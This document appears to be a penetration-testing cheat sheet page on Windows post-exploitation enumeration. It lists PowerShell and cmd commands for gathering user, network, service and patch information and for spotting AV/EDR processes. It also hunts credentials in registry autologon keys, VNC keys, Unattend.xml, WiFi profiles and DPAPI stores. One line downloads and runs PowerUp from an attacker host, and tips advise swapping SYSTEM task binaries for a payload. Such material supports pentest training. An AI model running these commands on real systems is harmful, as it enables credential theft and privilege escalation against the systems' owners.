Enumeration & Situational Awareness

You have a shell. Before exploiting anything, understand where you are, what you have, and what's misconfigured. This page covers manual enumeration and automated tools.

Sections Enumeration & Situational Awareness

Current User Context

Who you are and what privileges you hold.

powershell
PS C:\> whoami
PS C:\> whoami /priv
PS C:\> whoami /groups
PS C:\> whoami /all
Tip
Check whoami /priv immediately. If you see SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeDebugPrivilege, SeBackupPrivilege, or SeRestorePrivilege enabled, you likely have a direct path to SYSTEM (see Token & Potato Attacks page).

System Information

OS version, architecture, and patch level.

powershell
PS C:\> systeminfo

Just the OS name and version.

powershell
PS C:\> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

List installed hotfixes (look for missing patches).

powershell
PS C:\> wmic qfe list brief
powershell
PS C:\> Get-HotFix | Sort-Object -Property InstalledOn -Descending

Check architecture (32-bit vs 64-bit).

powershell
PS C:\> [Environment]::Is64BitOperatingSystem

PS C:\> [Environment]::Is64BitProcess
Tip
Compare installed patches against known kernel exploits. If the system is months behind on updates, kernel exploits are likely viable.

User & Group Enumeration

List local users.

powershell
PS C:\> net user

Details on a specific user.

powershell
PS C:\> net user <USER>

List local groups.

powershell
PS C:\> net localgroup

Members of the local Administrators group.

powershell
PS C:\> net localgroup Administrators

Check if current user is in any interesting groups.

powershell
PS C:\> net localgroup "Remote Desktop Users"
PS C:\> net localgroup "Remote Management Users"
PS C:\> net localgroup "Backup Operators"

Network Information

Network interfaces and IP addresses.

powershell
PS C:\> ipconfig /all

Routing table (check for dual-homed hosts or internal subnets).

powershell
PS C:\> route print

ARP cache (discover other hosts on the local network).

powershell
PS C:\> arp -a

Active connections and listening ports.

powershell
PS C:\> netstat -ano

Filter for listening ports only.

powershell
PS C:\> netstat -ano | findstr LISTENING

DNS cache (reveals recently resolved internal hostnames).

powershell
PS C:\> ipconfig /displaydns

Firewall status and rules.

powershell
PS C:\> netsh advfirewall show allprofiles
PS C:\> netsh advfirewall firewall show rule name=all
Tip
Listening ports on localhost (127.0.0.1) that aren’t exposed externally are prime targets. Internal web apps, databases, or management interfaces running locally can often be abused.

Process & Service Enumeration

List running processes.

powershell
PS C:\> tasklist /v
powershell
PS C:\> Get-Process | Select-Object Id, ProcessName, Path

Check for AV/EDR processes.

powershell
PS C:\> tasklist /v | findstr /i "defender symantec crowdstrike carbon sentinel mcafee sophos cylance"

List running services.

powershell
PS C:\> Get-Service | Where-Object {$_.Status -eq 'Running'}
powershell
PS C:\> wmic service list brief

Find services running as SYSTEM or with high-privilege accounts.

powershell
PS C:\> Get-WmiObject win32_service | Select-Object Name, StartName, PathName, State | Where-Object {$_.State -eq 'Running'} | Format-Table -AutoSize
Tip
Services running as LocalSystem, NT AUTHORITY\SYSTEM, or a domain admin account are high-value targets. If you can hijack the binary or modify the service config, you escalate to that account.

Installed Software

List installed software.

powershell
PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | Select-Object DisplayName, DisplayVersion, InstallDate

32-bit software on 64-bit OS.

powershell
PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | Select-Object DisplayName, DisplayVersion

Check Program Files directories.

powershell
PS C:\> dir "C:\Program Files"
PS C:\> dir "C:\Program Files (x86)"
Tip
Look for outdated software with known local privilege escalation CVEs. Common targets: FileZilla, PuTTY, WinSCP, various VPN clients, and backup agents.

Credential Hunting

Saved Credentials

Check for saved credentials in Windows Credential Manager.

powershell
PS C:\> cmdkey /list

If credentials are saved, use them with runas.

powershell
PS C:\> runas /savecred /user:<USER> cmd.exe

Files with Credentials

Search for files that commonly contain passwords.

powershell
PS C:\> findstr /si "password" *.txt *.xml *.ini *.config *.cfg
powershell
PS C:\> dir /s /b _pass_.txt _pass_.xml _cred_ _vnc_ *.config 2>$null

Check common locations.

powershell
PS C:\> type C:\Users<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
PS C:\> type C:\Windows\System32\drivers\etc\hosts
PS C:\> type C:\Windows\Panther\Unattend.xml
PS C:\> type C:\Windows\Panther\unattend\Unattend.xml
PS C:\> type C:\Windows\system32\sysprep\sysprep.xml
PS C:\> type C:\Windows\system32\sysprep\Unattend.xml

Registry Credentials

AutoLogon credentials.

powershell
PS C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
PS C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

VNC passwords.

powershell
PS C:\> reg query "HKCU\SOFTWARE\ORL\WinVNC3\Password"
PS C:\> reg query "HKCU\SOFTWARE\TightVNC\Server" /v Password

PuTTY stored sessions (may contain proxy credentials).

powershell
PS C:\> reg query "HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions" /s

SNMP community strings.

powershell
PS C:\> reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"

Search registry for password strings.

powershell
PS C:\> reg query HKLM /f password /t REG_SZ /s 2>$null
PS C:\> reg query HKCU /f password /t REG_SZ /s 2>$null

WiFi Passwords

List saved WiFi profiles.

powershell
PS C:\> netsh wlan show profiles

Extract a specific WiFi password.

powershell
PS C:\> netsh wlan show profile name="<PROFILE_NAME>" key=clear

DPAPI Protected Secrets

List credential blobs.

powershell
PS C:\> dir C:\Users<USER>\AppData\Local\Microsoft\Credentials
PS C:\> dir C:\Users<USER>\AppData\Roaming\Microsoft\Credentials

Scheduled Tasks

List all scheduled tasks.

powershell
PS C:\> schtasks /query /fo LIST /v

Look for tasks running as SYSTEM or high-privilege accounts with writable scripts/binaries.

powershell
PS C:\> schtasks /query /fo LIST /v | findstr /i "Task To Run|Run As User|TaskName"
powershell
PS C:\> Get-ScheduledTask | Where-Object {$_.Principal.UserId -like '*SYSTEM*'} | Select-Object TaskName, @{N='Action';E={$_.Actions.Execute}}
Tip
If a scheduled task runs as SYSTEM and executes a binary or script you can write to, replace it with your payload and wait for the next execution.

Writable Directories & Files

Check for writable directories in PATH.

powershell
PS C:\> $env:Path -split ';' | ForEach-Object { icacls $_ 2>$null }

Check write permissions on common directories.

powershell
PS C:\> icacls "C:\Program Files" /t /c 2>$null | findstr /i "(F) (M) (W) (CI) (OI)"
PS C:\> icacls "C:\Program Files (x86)" /t /c 2>$null | findstr /i "(F) (M) (W) (CI) (OI)"

Find world-writable files and folders.

powershell
PS C:\> Get-ChildItem "C:" -Recurse -ErrorAction SilentlyContinue | Where-Object { (Get-Acl $_.FullName).Access | Where-Object { $_.IdentityReference -match "Everyone|BUILTIN\Users|Authenticated Users" -and $_.FileSystemRights -match "Write|Modify|FullControl" } } | Select-Object FullName

Service Binary & Config Permissions

Check permissions on service binaries.

powershell
PS C:\> Get-WmiObject win32_service | Where-Object {$_.State -eq 'Running'} | ForEach-Object { Write-Host $_.Name "-" $_.PathName; icacls ($_.PathName -replace '"','').Trim().Split(' ')[0] 2>$null }

Check if current user can modify service configurations.

powershell
PS C:\> sc qc <SERVICE_NAME>
powershell
PS C:\> Get-WmiObject win32_service | Select-Object Name, PathName, StartMode, StartName | Format-Table -AutoSize
Tip
See the “Service & Registry Exploits” page for exploitation techniques once you find writable service binaries or misconfigured service permissions.

AlwaysInstallElevated Check

If both registry keys are set to 1, you can install an MSI package as SYSTEM.

powershell
PS C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
powershell
PS C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Tip
If both return 0x1, see Service & Registry Exploits page for the MSI payload technique.

UAC Status

Check UAC configuration.

powershell
PS C:\> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
PS C:\> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
PS C:\> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy
Tip
EnableLUA = 0 means UAC is disabled. LocalAccountTokenFilterPolicy = 1 means remote local admin accounts get full tokens (no UAC filtering over the network).

Automated Enumeration Tools

WinPEAS

Comprehensive automated enumeration (the go-to tool).

powershell
PS C:\> .\winPEASx64.exe

Quiet mode (less output, faster).

powershell
PS C:\> .\winPEASx64.exe quiet

Specific checks only.

powershell
PS C:\> .\winPEASx64.exe quiet servicesinfo
PS C:\> .\winPEASx64.exe quiet userinfo
PS C:\> .\winPEASx64.exe quiet filesinfo

PowerUp

PowerShell-based privesc enumeration.

powershell
PS C:\> . .\PowerUp.ps1
PS C:\> Invoke-AllChecks

Or load remotely.

powershell
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/PowerUp.ps1')
PS C:\> Invoke-AllChecks

Seatbelt

Detailed host survey and security configuration checks.

powershell
PS C:\> .\Seatbelt.exe -group=all

Specific modules.

powershell
PS C:\> .\Seatbelt.exe -group=user

PS C:\> .\Seatbelt.exe -group=system

PS C:\> .\Seatbelt.exe -group=misc

PrivescCheck

PowerShell alternative to WinPEAS.

powershell
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck

Extended mode.

powershell
PS C:\> Invoke-PrivescCheck -Extended

SharpUp

C# version of PowerUp (better for AV evasion).

powershell
PS C:\> .\SharpUp.exe audit